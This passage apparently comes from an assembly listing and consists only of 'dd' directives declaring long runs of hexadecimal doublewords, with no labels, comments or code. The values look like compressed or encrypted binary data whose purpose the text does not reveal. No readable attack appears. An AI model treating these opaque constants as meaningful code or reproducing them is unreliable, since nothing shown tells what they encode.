4DFEBE16h, 2142163Bh dd 694A04F3h, 1BF01615h, 0CCB5818h, 0E6831FD2h, 1FC56801h dd 20DA6A90h, 0F64EDD6Dh, 4BFCFCA4h, 919214Eh, 52E7E9C2h dd 0D97E58FBh, 0C510F04Fh, 0E85534F3h, 0D3C88185h, 4A2DF458h dd 0A03DAA1Fh, 0D124C86Eh, 0C435899Fh, 0D6FCC2F8h, 2603938h dd 65126FE7h, 0A2071708h, 15642042h, 0E959C3EEh, 3E12BE8Bh dd 2CAED029h, 0E8414E1Eh, 279D4120h, 4255DCD0h, 5FB4CA32h dd 40B74E44h, 0B71B66h, 6850556Ch, 4A7B62B4h, 7914CBA1h dd 75EB25D8h, 68579F60h, 944C9C09h, 4916DF40h, 5460EF05h dd 0CE0433C6h, 0A2BB3E08h, 60B85B8h, 0E8833094h, 0DC91C92Eh dd 0C2DD4E02h, 7B30C1DAh, 4399B7BFh, 0FB081E3Ah, 434F83B9h dd 40896970h, 0EFC13B4Ah, 14C10A3Dh, 16075DAh, 5245371h dd 0F214C27Eh, 9592007h, 567F14EBh, 0F77305D0h, 0F55AC1BFh dd 2F68F785h, 0A5AC610Ah, 0BDE82F7Ch, 0E0D01685h, 766EE0Bh dd 0E0BE0806h, 3BE9CB44h, 945590C2h, 0F4BA2F3Ch, 6D90CE44h dd 9432340Ah, 2103B764h, 0B03D276Eh, 1F696DF3h, 12C15A5Ch dd 743D0905h, 7B95E078h, 28BBE0A5h, 675EBD36h, 2EE3EC80h dd 35982752h, 0C3060B72h, 7B5F4BBEh, 4FBA146Ah, 0B14EBB7Fh dd 6EEE2F44h, 0E956056Bh, 0C8FADAECh, 94BE6511h, 42DCBF02h dd 0CFD2E085h, 5A5B25D4h, 7202B35Ch, 0DF3427E7h, 51E9D602h dd 507EEA4Ah, 6D1BD820h, 0B0AABC1Eh, 4AF9DB40h, 3E1FF9D6h dd 0CE895418h, 7561A70Ah, 0A63EE943h, 8981D39Ch, 4FBF68E7h dd 0BB403E33h, 53A5E22h, 0B8CF1796h, 0B829C4D6h, 8ECC000h dd 88F4C4FEh, 4BD4452h, 40CF46BAh, 99CFB4AAh, 5C9B2104h dd 0F287F029h, 978DA028h, 0C1D2385Ch, 396E1067h, 83E2CDE4h dd 287E0C5Ch, 1AE22871h, 83501897h, 19F68CC6h, 75FFEFFEh dd 45C4DD9Bh, 0BE97EA53h, 35D4D3D7h, 0B87BF0h, 2EE25FD8h dd 2F377125h, 3AED0C7Fh, 3F25345h, 7D5E9FC2h, 0AFEAF148h dd 5C5BD80h, 102F23Dh, 7BABE1E8h, 0BD0CBA96h, 8641C6CAh dd 849E66C7h, 0ECA4A54Dh, 0B3455E3Ah, 15939F33h, 52BF0B53h dd 0B0E1EF1Dh, 5B8AB620h, 2C7E2CF2h, 4A81649Fh, 0CB1E925Dh dd 80A2897Dh, 46913A92h, 9BCA0C81h, 66AE7A12h, 4B54FD40h dd 258FEB58h, 0DCBBE90Bh, 25B812AAh, 545D68F7h, 95DF955Eh dd 5CDAA13h, 79072A6Ch, 5BD8FB52h, 0E97300DEh, 11C1BA68h dd 31582D41h, 78A0104Ah, 90C98101h, 0D849C476h, 0F717FDF1h dd 71FEEBE7h, 7B5FE9D0h, 68127F8Ah, 2C2FB96Bh, 568B2359h dd 8475754h, 0E90B2990h, 0CEFDDB3Dh, 16681246h, 732DFF63h dd 6BDB43Ah, 5497A199h, 17D0D508h, 0EC8DBB5Fh, 0B985D8F4h dd 0DD50C9Eh, 25419DA7h, 1C8DC16Ah, 0A5C22C3Ch, 0A92A56E1h dd 7E82B536h, 2D137C28h, 97F93E5Dh, 68788B5Ch, 49279440h dd 0B8F401F0h, 0E0151E62h, 0CD7FE9EEh, 404CBEA4h, 0CC9A21F7h dd 0F829BD25h, 0E9EA0C68h, 0EE21B505h, 98A7FABFh, 0CF472F43h dd 830F04F2h, 6B433439h, 7D9D4236h, 42167DF0h, 0C9EACB88h dd 28B23BADh, 1331BAD3h, 8F752D68h, 6639AE3Bh, 0CF67331h dd 0DC9A9C72h, 0CA99DBBFh, 0EFB213D4h, 0B7D22CD8h, 40100772h dd 0EF04FEB9h, 0C09971C1h, 7A19C71Ch, 161D6024h, 9DF85218h dd 0BB7883BCh, 4CFCD259h, 77BE164Fh, 4F1ACB13h, 0B889DF9Ah dd 0A7EBEDFFh, 0FC2DCFF6h, 1EE7C3E0h, 74EF3B27h, 0B65A9614h dd 867E135Dh, 4A139BBAh, 31F730FAh, 5D3F6E46h, 0CAEECE8Bh dd 0D8438B69h, 1D90095Dh, 805E7D75h, 0C46BB487h, 404E8799h dd 0E9E186C7h, 87016644h, 0ACC26ACBh, 20EAD6D3h, 5B74B6C3h dd 0C3CD2232h, 3F4AD7C1h, 0C5144C77h, 8DE2BF29h, 0A179E053h dd 73A10DFh, 47522C2Bh, 0A8EE11B4h, 0EACC4A74h, 22B84154h dd 73E3096Ah, 0C3AD870Eh, 1AE86EE1h, 5BEFD8DBh, 0B43A4AC8h dd 5F0B1E2Fh, 8452732Dh, 0D8EB3614h, 76407C7Ah, 44B04Ah dd 7D965E13h, 0AF32BF57h, 0E257B3A2h, 0BA1D69Ch, 0E66080E9h dd 461778BAh, 0F2C07252h, 16232429h, 0BB0170E9h, 6E39220h dd 2CA03B5Ch, 76E7CB03h, 96041611h, 2B287D36h, 8931D8B8h dd 2B02595Fh, 0B4AE5565h, 809FC6BFh, 5D5855AFh, 2C77421h dd 1EBFB951h, 0D5E106AAh, 0C354028Eh, 0A7BDC145h, 982B7749h dd 3D457FB5h, 223DBF3Bh, 5E326042h, 9E7DE983h, 0BBC64F5Fh dd 0C5FC0E17h, 424DE516h, 736668BCh, 12126655h, 0B2C65B72h dd 39407B5Dh, 7E120B35h, 0B17C1E1Fh, 7F5E6F05h, 0E98A03BEh dd 6D020ADFh, 0E43734E1h, 284DC860h, 59B31308h, 0B1521031h dd 26449E04h, 0F304903Ch, 0C571043Fh, 0E9A9E097h, 2784BD71h dd 0ADCBEF05h, 0EBB9FC64h, 40F97AC8h, 0EB78817Fh, 24512916h dd 84950AFh, 0B9135D37h, 0D2795075h, 85F1BF0Ch, 4010E26Dh dd 0FD011D8Fh, 0FE97E1CEh, 5AB65D25h, 51050DD2h, 0EFB7FEB6h dd 0C935F24Bh, 7D2BC265h, 0BE80E07Bh, 6480F122h, 96E42FE9h dd 0F99D173Ch, 0C83C67Dh, 0A45E4A98h, 0C1C41A90h, 2E6C7B59h dd 94DF7A21h, 0EA252301h, 5EBE647Dh, 9236E759h, 0FD969BACh dd 0D02902C5h, 0BACA2FE9h, 0CB0FD558h, 0F2C708E4h, 894D5EA9h dd 0FF7CE852h, 7DEFB84Eh, 0D515941h, 0BAE0B7CBh, 4AF3A10Ah dd 23E0005h, 129C730h, 0E6AF0082h, 0F435A23Ch, 3EDA2FBh dd 80BD5508h, 482BD045h, 0C05E1C50h, 54986897h, 0AB6DA4B5h dd 9A8C7DD8h, 0EA5B4E67h, 1D69B8Ah, 4DE90285h, 594882D3h dd 0EC712768h, 4FA50987h, 0E5A49F6h, 7474A20h, 0AD01BEBBh dd 9B1EA275h, 208246DDh, 12E7FA5h, 0CBE9CAh, 82062DCBh dd 29ECCD4Bh, 2A58250Dh, 6289BD88h, 6C29C8B5h, 894D535Fh dd 0A2D9B8FBh, 16E77072h dd 0AEFEF499h, 42FA058Dh, 38A2F5E9h, 6655F218h, 57E50942h dd 7D4454h, 157DBB72h, 0A8215E34h, 0B7ED0080h, 0E9AD2E91h dd 0FBC1653Dh, 1DE4EBE2h, 81680452h, 0F931984Eh, 0B49110ABh dd 5D5FB84Ah, 0B1BAA4AEh, 77FF2126h, 0C330127Eh, 0E97130EBh dd 26C32A5Eh, 8210EB80h, 496841C3h, 5EF09589h, 3505657Ch dd 0D514F815h, 44BE5A3Ah, 523B36BDh, 7EF3BC43h, 931A2732h dd 28580D83h, 0F70B5616h, 50F9CDDDh, 600D7091h, 0E6851EAh dd 0E5295065h, 1D376990h, 7BF16141h, 347B3CA7h, 0BF6BB492h dd 60864004h, 0B3F1C01Eh, 7CCB8076h, 10E3D03Fh, 0C340B76Ah dd 0DC0D1761h, 0AE3B1250h, 9C090F53h, 19468376h, 0A380B401h dd 60C229C4h, 505B342Eh, 54B71FA1h, 0E0E51CD5h, 0D1FB161Ch dd 96AB4CF4h, 0E912403Ch, 21EABFB7h, 6BEF7AF5h, 0F6B96331h dd 0CF68BC89h, 78D14B69h, 2DAD0162h, 78B47C1Ch, 0A4283FEDh dd 9F5FC34Fh, 0B5D061CAh, 1F895E2Ch, 12E4A0BCh, 0F60DC380h dd 9BFE4BC7h, 81872088h, 0E23A8BB9h, 0C5688207h, 0EC4C7D0Eh dd 0A508E329h, 0CD0CB102h, 0DFBAE253h, 0EE660A04h, 8340A4CDh dd 98932352h, 951E7517h, 85F8CA99h, 5F09684Bh, 0FA6834ABh dd 67EADA94h, 0AAF6C2A8h, 92A06EDFh, 0D6F470AAh, 0BA04AA1Ah dd 0E310611Dh, 221B0A0Bh, 5DEF0382h, 1049C971h, 5F9668CDh dd 0E1173127h, 21590094h, 69A2F0D3h, 0D357E4DBh, 0D825BF13h dd 0D1413877h, 0BD890E6h, 7EF0A9B7h, 0D42DF874h, 334458D0h dd 759DE8B5h, 2FE795B0h, 0AAB52E3Fh, 393F6884h, 0D2C287ECh dd 9055FED6h, 862B38A8h, 731ABB06h, 951E4664h, 97F39EDDh dd 9498BBF5h, 0AC3EF1FCh, 0CC2F3F3Ch, 0A7B4D1F0h, 44299A89h dd 0AB6812C7h, 13E31Dh, 227565F9h, 2C4EEC05h, 0B657AAh dd 418F702Fh, 0D075F681h, 200A61EFh, 660B2D3Bh, 0DD15CA24h dd 0C5E29D60h, 2BB862C0h, 0BF6B6D48h, 520908Ch, 15222D04h dd 12AED32Ch, 3732BAE4h, 0CFDC3A3Ch, 4249E7A4h, 1A9CF755h dd 0DE09C59Eh, 81B15CCAh, 3F6644C0h, 0D77B89h, 43622990h dd 0B1DA32E9h, 0D9FD5474h, 0FF6850CBh, 60E97A54h, 8EF23958h dd 223C6FB9h, 4C2F5168h, 1BCB2010h, 9695048h, 9F006E2h dd 9E07F5B1h, 5A64CCFh, 857EC60Dh, 0E73BFD2Ah, 96FF95FAh dd 12E5ABB9h, 0C363D2D5h, 3D187E5Dh, 8B88DBA4h, 0D1045156h dd 36A1C283h, 0E9894354h, 81D82012h, 92A40E7h, 0EFC167E8h dd 6EF79E80h, 0E9F82932h, 4AFC7831h, 3CE8C0B8h, 4DF9D28h dd 4A3C2BDh, 5F163C88h, 0E9C220E7h, 927D63D4h, 0CDF300B0h dd 13396520h, 81CF8747h, 6EBABB2Bh, 410A58CCh, 0F71A7B73h dd 0B0788285h, 371475C7h, 0A865BC2Eh, 577FB062h, 68842D54h dd 0CCAC0D16h, 8443FDC5h, 0AA3AC598h, 4EFBB56h, 19D138D2h dd 0D3E1CBFAh, 8977ED3Bh, 0C6EC2FE0h, 9AB2D563h, 0F4664DECh dd 28E8680Bh, 0F42EDDC6h, 0CF928ACBh, 4363301h, 34F4670Ah dd 7EEBA4E4h, 32262E39h, 6D2D00AFh, 0CE9AFB7h, 0F0E2C24Bh dd 0FECE8682h, 258EB6DFh, 19E09BE9h, 31005F25h, 7C2D2E70h dd 988C34F8h, 0E64B4B1Bh, 0E0137A5Fh, 878CFEFBh, 7AA2416Dh dd 647BC381h, 6169973h, 908DAD66h, 9C05790h, 0C4EC46E9h dd 0B551F0D3h, 0E335FA00h, 684E371Dh, 0B07F24A1h, 23412872h dd 0F8C2A12Bh, 9DC45144h, 98A3506Ah, 1C28010h, 68C8BF0Fh dd 0F14D70B1h, 9D02C360h, 0EDE9632Fh, 0F6B2D6B0h, 0B42559B0h dd 3C4720A5h, 0B530BB13h, 58209ADAh, 0F278E18Fh, 0B1586C27h dd 0AD96DD97h, 11A9F59Dh, 5923FC05h, 786D9A36h, 0A091A5AFh dd 0C93A5576h, 9FC8610Eh, 0A53F59B5h, 0FDEF8905h, 4BEA0EBBh dd 89F5D74Ah, 5F2CDA99h, 0A37A85DBh, 43E862F6h, 160500DFh dd 0FC4E03D0h, 0ACEADCC4h, 0C317B432h, 0CAABE212h, 12EA5AACh dd 0CBE0AA3Dh, 5C69D5Eh, 5856B20h, 9101A1BBh, 75368111h dd 2B09C124h, 0DBF7B5C1h, 0BDC87670h, 5C2FFC9Ch, 424DD666h dd 0A075AF61h, 0D116C27h, 0A7314A4Eh, 0C0200B35h, 20D91EFEh dd 75981B76h, 7FBEE627h, 16F8C04h, 0D4885958h, 0E982E479h dd 9AA75DB2h, 7A2E0007h, 5650D8F7h, 67B53BBEh, 1B62C37h dd 0C669913Ch, 3B953E29h, 7DF1B60Bh, 0D28ADE4Ch, 61AAD97Dh dd 8B5FDC68h, 1E66F989h, 0BFABFCA6h, 93EECF8Bh, 68535000h dd 396B74FCh, 4F99F5Bh, 0BA7E40Fh, 0D1227FCBh, 70091AF8h dd 7F76B7A0h, 2C1DFD39h, 30094FA0h, 0F8A2C4EAh, 0B77A9AD1h dd 5FDA66D6h, 0E9413CDEh, 912E20F7h, 72015963h, 0ADCB3DB4h dd 0E2135CFEh, 0B2C0535Eh, 9C0D1D8Ch, 0B90BB56h, 515DA700h dd 326B09B9h, 95D45433h, 0D78E1282h, 0D789F5C0h, 169C5602h dd 0AE40A20Eh, 0A59877FEh, 0F3F2630h, 94F2761h, 0F3B6E1BBh dd 255F7553h, 0C9F1A83Ah, 51E6F489h, 5E39E52Ah, 0D6CAC1F2h dd 0D8145323h, 1D0217E2h, 0B5E93897h, 491B558Dh, 0FBE7C3FAh dd 13178526h, 12A0DAEFh, 0F2B14A68h, 87A82678h, 5537E980h dd 0C07ABC7Dh, 7334D27h, 48CF8102h, 0C221DC62h, 5E25C1DEh dd 571E806Eh, 665CA125h, 463B051Dh, 32C0010Fh, 0CF0C4227h dd 70D07AF4h, 0C6C302BFh, 6F680011h, 5D492B77h, 0F91C503Eh dd 18CD944Fh, 377BECE5h, 0F444AFh, 0E272D4B9h, 2064952Ah dd 2FD2C0FEh, 2C7917A9h, 0A556DE72h, 4D0C96F6h, 0EF0410ADh dd 0DE401C9h, 0B1DCB5F0h, 0F6954FA8h, 0C3C87B7Ah, 7BBF1A68h dd 2572708h, 0FEF201ADh, 40505B91h, 6F00A255h, 66BF5BB6h dd 13756822h, 875DEF31h, 8118C449h, 4CA049h, 5C06C180h dd 0C2183730h, 72B9B6BBh, 0C50ADD17h, 0F1D121Fh, 0D178FB24h dd 4EAA98EBh, 5F5FFCA7h, 33026180h, 3FE9F19h, 0B0E86513h dd 0E66859C1h, 3633A70h, 0CF3A0555h, 0C22F1E6Ch, 0F6001434h dd 7AEEC0D6h, 0BFF14F06h, 5F506472h, 39848065h, 17FE6B10h dd 0AD78A49h, 4077F768h, 7C06DDBBh, 0B7019E40h, 0EFD29EC2h dd 6861EF94h, 365323D2h, 0E9D70954h, 4DD685ADh, 15AF596Bh dd 3503B5D5h, 18436EA6h, 6193AAh, 137A3044h, 4AA4EB91h dd 9020971Fh, 0F7ED2003h, 4E8C001h, 0C380402Ch, 4024E330h dd 9F24683Eh, 6F8BFB55h, 7F6CD5DAh, 1C4BA4F6h, 0D281D6BCh dd 307FD977h, 261D18ACh, 0F581413Bh, 23C12D6h, 3E680C87h dd 0E580DF39h, 786A081Ah, 211BC5F8h, 0C102E9F7h, 9863FEBFh dd 206F81C0h, 830E22FDh, 0FC77FF53h, 8F0FB4E4h, 0DC86B847h dd 0AFE11A13h, 3EDA2C29h, 0FD82A7F0h, 6A5653A0h, 70FA281Ch dd 94B2B84Fh, 5FF65B27h, 0F5E5C2h, 32B96855h, 2CEB2BE1h dd 0D9BF5D1Ch, 989EA9Eh, 0A981AC2h, 0D006ACB5h, 68CD80E5h dd 5DE9170Ah, 1FBB2C8Bh, 25BD6C4Fh, 0EE42E0D6h, 4EC28380h dd 19949102h, 0DEAB3D1Bh, 490826CBh, 927060BFh, 0D3659F64h dd 70F3A633h, 566895EDh, 23F803BFh, 0C5077F58h, 2DA45452h dd 2EB0411Bh, 0E43E5AF5h, 0C79959C2h, 18973E08h, 0D4683551h dd 1BF20A5Fh, 7417BA81h, 0F90C201Bh, 0DB85104h, 0D882DDF7h dd 70590534h, 2AD9F3B1h, 427F4D27h, 42A5090Dh, 5E747561h dd 5D0559C2h, 109A156h, 18E884C8h, 0B84FAB12h, 7408277Dh dd 811DE663h, 1880400Ch, 6C34F677h, 959E99E9h, 3F1D427h dd 0D148D0F7h, 18E335B0h, 89307A01h, 0FFA1E9C7h, 0B173477Ah dd 2D700C9Ch, 0EC58EE40h, 90A24B32h, 2F3B8446h, 0DD4A697Bh dd 8E6F7DB1h, 297A10BBh dd 8FE9E04Fh, 5F925B16h, 6A62BB02h, 0C28E8013h, 4E29CDB3h dd 5F41FEE0h, 13317848h, 18D2943Eh, 17B51C08h, 92393C3Dh dd 8153DB2Ah, 19A54106h, 0B9C906Dh, 2B496203h, 3A489401h dd 6075FE52h, 0BD085334h, 884FE9D1h, 0ACB80121h, 2A90C1F0h dd 0EA4A07EAh, 17C3F35Dh, 0F2EFFF2Fh, 0BFC8985Eh, 3B5A6A69h dd 8BDD63BAh, 16CBBBDDh, 9555562Dh, 256FACE0h, 0BEFD018Bh dd 0AC88D371h, 41BEE53Fh, 0CAE953BDh, 8E6E2FECh, 0E9545303h dd 410F756Eh, 0EC0AA9C1h, 17570C20h, 0F0E07A5Dh, 0D85FF7AAh dd 0E96746FFh, 0BA4B45E4h, 0FA7185EBh, 5AA99824h, 0AB72D54Bh dd 0D8D26BA7h, 0D0BCE2B2h, 104FC2Dh, 0EC2F2EC9h, 6462F563h dd 0C512BBB0h, 5509B675h, 5F489h, 5D71E6BEh, 0F6008179h dd 438BC9BAh, 0C0FDCCE9h, 3D2EBB20h, 0F717459Dh, 9FAD1D3h dd 2E293814h, 856F427Eh, 0CFFD8831h, 5407F200h, 0D029E576h dd 7F5D6FA1h, 206CD291h, 902C45BBh, 311FE1CFh, 0DC9B7042h dd 58483C9Ah, 99C70799h, 98C5A70Dh, 41E04F01h, 0BB2B7790h dd 0DE29CE21h, 73CEBC2Bh, 0F1DC190Ch, 802CB8ABh, 68075255h dd 445A6DA7h, 12A5AE2Ch, 0FA420E28h, 16E59260h, 813101DFh dd 121AF8EBh, 0C7B2307Eh, 3580DA67h, 292646F0h, 4142B048h dd 47E17F74h, 48E9FFCEh, 56D3C311h, 6147BEE0h, 0F67D3D88h dd 122DB701h, 69FD3F10h, 160EA893h, 6CEB427Ch, 0FC2FE92Fh dd 61E47C20h, 30AE4E8Eh, 0F5602A79h, 5536EBAAh, 52450153h dd 642E3233h, 4180C76Ch, 50E65644h, 1F0D4953h, 4C9C544Eh dd 18F0A6Ah, 0AE9EB905h, 762DDE0Bh, 9D748EAAh, 0DAD102D7h dd 4AE1FDE0h, 0D00A42F5h, 899F2710h, 446308C6h, 4284BCA0h dd 8B221E7h, 0A890A1F9h, 48A27B84h, 1679809Eh, 0DD372A32h dd 0EE638B00h, 5DB0D88Eh, 0C8100044h, 46C3815h, 6A0079F5h dd 0DE335B09h, 4D95FBh, 98E0B690h, 0DF276D45h, 5BA44000h dd 30457E3h, 0B93300A3h, 95F38C69h, 29000AC0h, 0F34EF6Ch dd 0FE949Ch, 0D95F0163h, 6198FDADh, 64F0C000h, 9FFB565Dh dd 74F00C9h, 0DE87CD47h, 0CC032504h, 0C132C898h, 9400FD20h dd 17795BB6h, 0E8650121h, 1450C688h, 0CA7ED474h, 93B3D826h dd 16E0FB39h, 0EE005E72h, 0EB88DE68h, 7943C631h, 27D60537h dd 1DE4451Fh, 604BC7Eh, 803EB749h, 7B18755Dh, 0D640609Dh dd 41A900FFh, 9AE2B48Ch, 3F006947h, 77DD3AD7h, 3E91F26Fh dd 0E0BABBC3h, 0AAB2E600h, 0E40C5CB7h, 470D6900h, 9EC4223Fh dd 14D97676h, 99567A3Ch, 0D0AA3A00h, 181E44A2h, 1B588E00h dd 0CAF3FB41h, 40A53AA6h, 0F7BB1A39h, 0F32B000h, 816A8977h dd 0D6E00300h, 0D523DF8Fh, 65CD00A0h, 0EF17F43Ch, 0AD589335h dd 0B9017A58h, 67FAAAF1h, 0D8F45D0Bh, 0AEA800FEh, 1C1FD333h dd 8AC0DD9Ah, 0ABA2EADAh, 133C3CE6h, 0C19C9204h, 0C7F8FAh dd 0C0287057h, 161370Dh, 0BEE8C419h, 705ABB56h, 160073E1h dd 5F1B3A42h, 153D6B44h, 8FD938D5h, 0BAC29000h, 0F1194FA7h dd 0B92A5E76h, 450E8105h, 0C0E567DDh, 0AA0CEF2Bh, 0D7FCBh dd 0F292DAEAh, 8B41176Fh, 0A50B600h, 657DDC5Ah, 8E39003Fh dd 43A98074h, 0E503ED3Ch, 0B96911F6h, 0DB18E0D3h, 583B24AFh dd 0B23994C9h, 8741D81Fh, 708F0B34h, 0BC7EF41Ch, 0DF73FE60h dd 0F3157C7h, 7246F8ACh, 0E7BDC540h, 0A400F419h, 30C2FFB9h dd 0A8ACBA90h, 0FAEC98E7h, 400D12EEh, 967300A7h, 45BB03FCh dd 0FB000A74h, 5F671BCBh, 1DE385h, 84D5C120h, 21FCFD4h dd 6A0172F0h, 4BCD9BF7h, 0B7524332h, 609454Eh, 62F209F6h dd 0F5CB93Fh, 60A62412h, 0FBEB9F02h, 0F8200168h, 17AF8822h dd 577E94CAh, 3E028FBEh, 1693FC0h, 26C8EDFBh, 0C82C12h dd 0D6C45D99h, 93006C36h, 9356FCAh, 0F6DEFC0Ah, 0EDA90043h dd 0A5845E86h, 0F3011B49h, 0B0E6C059h, 0E0EA191Ah, 1E505ABh dd 0D6300DDDh, 0BD9D2112h, 78D50317h, 0CE481Eh, 1979D844h dd 0DE81DA33h, 16090D3Bh, 40BFA03Dh, 0E6A28579h, 6149439Eh dd 8CDA00AFh, 0C488E964h, 50A14DBCh, 0B62D2900h, 6AE70F55h dd 310059E6h, 4C94C2DCh, 2EBB191h, 8F680C83h, 32405437h dd 1552EF77h, 59B900AAh, 304205F3h, 603C12BCh, 1DC9h, 0DA6CBE9Ah dd 2B0506AFh, 74CB9BCDh, 4871F1E8h, 0CFB0D4F0h, 792A42DAh dd 0CA03A2ADh, 99491F77h, 83B8929Ah, 0E135CFD9h, 0CB479274h dd 0A05C0C90h, 0F2CA9090h, 468E005Eh, 570D56BCh, 0A900E3E4h dd 0B3830933h, 6771CA45h, 50509E8Bh, 48A8292Fh, 72100600h dd 4521866Eh, 0E46B0C41h, 66BAA79Fh, 1E09B44Bh, 0C5B6E2h dd 0F66DD341h, 8F049F74h, 886B3B04h, 0C7C4782Bh, 0A89EC09Ch dd 4C9A196Eh, 0E21715B8h, 3C1201h, 63DC76CAh, 0D77542DBh dd 746D9B00h, 9A3209FCh, 35D5031Dh, 0C454AC49h, 8F451498h dd 12B08839h, 0A300C68Eh, 0C19BD80Eh, 0D6F32676h, 4BB100CFh dd 0DB5324BEh, 0B8689400h, 0CB26FCC4h, 0E5A504EBh, 0C7E4C25Fh dd 31DB041h, 0A800B555h, 0ADF3D14Ah, 21FBABh, 0D05260D6h dd 0E81020DAh, 0BA307113h, 17FCEF14h, 24478C1Fh, 52C0EEC1h dd 6F3A5BFh, 401676EBh, 7001FF38h, 8CD4809Dh, 0F532F16Dh dd 1D43A600h, 683E18F5h, 0AFECCDE0h, 2CC84707h, 196BD3h dd 0C1BB2B3Ch, 267F2495h, 6FB909B0h, 151DE283h, 6903A5D0h dd 9F288E2Ch, 0DB586883h, 230F0063h, 8CEE7313h, 0A307BEC6h dd 0F57B1147h, 0C93A9CA0h, 88760708h, 934E0AE7h, 1B0A7A1h dd 0DC003DD7h, 0E0A492C4h, 0C0A3CB73h, 0EBBB8B4Eh, 6A073016h dd 12EABCF3h, 0DA8278B3h, 4584A008h, 0F8DE2662h, 177F0021h dd 0A4CC9AFAh, 41C48A9h, 50C061FCh, 766DE908h, 274F0015h dd 7199CF2Ah, 92A1829Ch, 0C32BD851h, 4FA84C0Ah, 0B78484F7h dd 9F80552Fh, 756DE8CBh, 92D20510h, 0C0A0E46Ah, 830AB064h dd 7CDD5B00h, 0DB89E566h, 0E129005Dh, 81983C77h, 2D79FDA3h dd 9B35C309h, 1A8A0AA1h, 9F6F7B00h, 4EBA22h, 0E07AAB95h dd 5BD5E41Fh, 83C18B09h, 4D8C00C5h, 70292ECh, 8EF93914h dd 0C999E0D0h, 497FB76h, 0BBCBF2D6h, 9AD510h, 0FD974D75h dd 90E4BC02h, 0B4FC1CE4h, 0E506C014h, 0C48AEE43h, 1180524Dh dd 5F0DCBh, 33606699h, 0E1499E99h, 211107C2h, 9C70856Bh dd 1F53D96h, 0DE6D0CF2h, 0F4ACBE30h, 490080C5h, 0AB2344DFh dd 3B6BF8Dh, 2AF56B84h, 42FA8A5Ah, 1BF80940h, 0A1240600h dd 0B9D9BABh, 0C29800DDh, 235FFE71h, 0AA009AA7h, 823D19F0h dd 0BCCF4A2h, 8BEB461Ch, 42A07000h, 900AD8Eh, 49AB1D3Fh dd 0ED83179h, 5B0B5E9Dh, 0F688E522h, 74F04178h, 11CC1400h dd 0C8056D33h, 9E92ECh, 77EAF2A6h, 17264E1Ah, 6F485B00h dd 253CD139h, 0F66B0073h, 0ABA6CE94h, 0FD02054Bh, 1B58622h dd 4112406Ah, 965B48D1h, 1380A3C8h, 64D76923h, 0C8D92D2h dd 7FC73092h, 0F7583F0Fh, 0A34500A7h, 68386E4Eh, 0F7B95C95h dd 96FFCB00h, 3FDE3492h, 0AD676F07h, 0D1A6280Bh, 5DD65C3Ch dd 0F090D480h, 4318116Dh, 214844D5h, 8670E79Eh, 0ADC01546h dd 0D9018274h, 974A92F6h, 803661BDh, 243DD077h, 48F56870h dd 95009C98h, 0BBE9CAD9h, 5B7CBE53h, 2E70ED26h, 7FB20049h dd 303B04A0h, 0C3906983h, 82A4D953h, 1C05B890h, 0AF9F9C4Ch dd 0D11F8740h, 0FA577ECEh, 0E6136215h, 7EC0FAD8h, 18597BD6h dd 2CC63CB7h dd 0B60CDC05h, 1531EC5h, 663CECB8h, 92FD1795h, 0B9006B70h dd 9C1263Bh, 1988602Eh, 10B0F8C8h, 6403EAB0h, 8FE801F2h dd 7D3DE8D9h, 7B2000C9h, 2C24E42Dh, 943EC306h, 618118FEh dd 0EC1F13Eh, 0A6ECCA57h, 55E94A43h, 2D151B00h, 0E378FB7Dh dd 0B5DD0783h, 4084111Fh, 457F0A19h, 5AB88500h, 55C02F4h dd 0B7C848CCh, 1E662C02h, 0C8E0E3C3h, 4818AB4Dh, 0B65496F6h dd 298D348Eh, 9079C70Fh, 0EE8B8E0h, 0C132D40Dh, 0B3401D7Dh dd 1EFC855h, 0C522BFB9h, 803C6A4Ah, 855C846Eh, 0E57135h dd 51071FF2h, 42AA80E7h, 58A848h, 981C46DDh, 66FE0C6h dd 0EFB99716h, 32E5669h, 1E1D8E43h, 9EB791C0h, 3BC684Eh dd 500666FBh, 0F0AAAEE6h, 0A6EA60C0h, 54F4B002h, 61273B02h dd 24D89FA0h, 4EF8007Eh, 41FDC22Ah, 8700575Dh, 3C96FEAAh dd 91C7DDh, 90136CF1h, 3074E2B4h, 66E40860h, 3E1550Ch dd 0A29D9C54h, 0F03C891Ch, 312C805Ch, 7CC181D7h, 0C2340B62h dd 24B17957h, 2BAA30ADh, 5098C801h, 9CA6940Eh, 48871F8h dd 0CF0BDBA8h, 0C90AE4E5h, 0B5A3E900h, 91EF7A3Ah, 0C1404BBh dd 0C0F0D6A8h, 767E0A33h, 9ED81700h, 825FB757h, 405FDEA4h dd 309A6D10h, 0DB907E38h, 1D918738h, 1A437127h, 0B0E0563Ch dd 1FCB4D13h, 9C8C6062h, 5428DF06h, 0F008D70h, 0F48EA737h dd 71E1263h, 0A5800931h, 0E35CF6AFh, 4EF000E6h, 484AB0B1h dd 9C00FECDh, 1A0440B6h, 1421B63h, 70894DF1h, 60250DBDh dd 8102B12Ah, 4B1176CBh, 0C00AC3CDh, 486D7Bh, 2DA5A192h dd 0DF3B74Fh, 0BB79E279h, 7EC1460h, 0F27972BFh, 17B716FFh dd 0F660216Bh, 20D7C91Eh, 0ECB8358Bh, 1C24A69Ah, 0BB06CAF4h dd 3AEE03h, 0BA9E7343h, 0C92934D4h, 1A958300h, 6220B60Eh dd 6B3D041Bh, 0C0156CEDh, 50A4BE4Ch, 0F82ADAF2h, 0E2E99F4h dd 2E9B7AD3h, 0C4379040h, 0DED60072h, 420232E3h, 0C0786E4h dd 9680D42Dh, 0E2CA0EC0h, 642A0008h, 0BBE1C11Ch, 35A20BDh dd 0FF793490h, 1D4B0FA2h, 0F204BE1Bh, 6DABD104h, 55C3D4ECh dd 0BD00C477h, 97FDDEBBh, 4D330A1h, 2E0E8B8Dh, 27F6E278h dd 4B0CD932h, 0DF2518DBh, 0DF956564h, 22B7CBB6h, 2C1A9A7Ch dd 300BE18h, 81661065h, 1373CAF6h, 0FA461993h, 7B03BDD3h dd 804C0072h, 0EFF3812Bh, 6376AD07h, 1F8FE307h, 0EBC76C5Eh dd 0F9F866Fh, 6F55080Ch, 302423Dh, 0FCE382E1h, 0AE54176Fh dd 0DF081838h, 7FE9030Dh, 0EEDDA079h, 0B083350h, 0FC593189h dd 455F5A60h, 0C2E98311h, 4AF7FDD7h, 571C07FCh, 74B007Fh dd 0B800B105h, 609A514h, 0FFC503h, 0CB5660E0h, 33D78E0Eh dd 0D0F35B0Fh, 83A408Dh, 0AD7D74h, 27753D0Ah, 981EAA07h dd 1918D60Fh, 578DC07Ch, 1EDB7F52h, 0C0688701h, 16BED064h dd 5A00F313h, 665434CFh, 0F0EF24D8h, 